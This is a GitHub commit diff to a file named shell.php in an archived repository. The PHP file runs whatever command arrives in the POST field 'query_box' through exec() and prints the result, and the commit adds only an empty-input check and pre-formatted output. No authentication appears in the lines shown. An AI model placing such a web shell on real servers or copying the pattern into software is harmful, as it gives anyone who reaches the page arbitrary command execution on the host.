Skip to content
This repository was archived by the owner on Sep 23, 2022. It is now read-only.

Commit a56188b

Browse files
author
NerdOfLinux
authored
Update shell.php
1 parent d3056ba commit a56188b

1 file changed

Lines changed: 5 additions & 2 deletions

File tree

shell.php

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -22,8 +22,11 @@
2222
$cwd=getcwd();
2323
echo "<br>Current directory: $cwd<br>";
2424
$shell = $_POST['query_box'];
25-
$run = exec("$shell");
26-
echo "<br><b>Output: $run</b><br>";
25+
if (!empty($_POST['query_box'])) {
26+
$run = exec("$shell");
27+
echo "<br><b>Output: </b><br>";
28+
echo "<pre>$run</pre>";
29+
}
2730
?>
2831
</body>
2932
</html>

0 commit comments

Comments
 (0)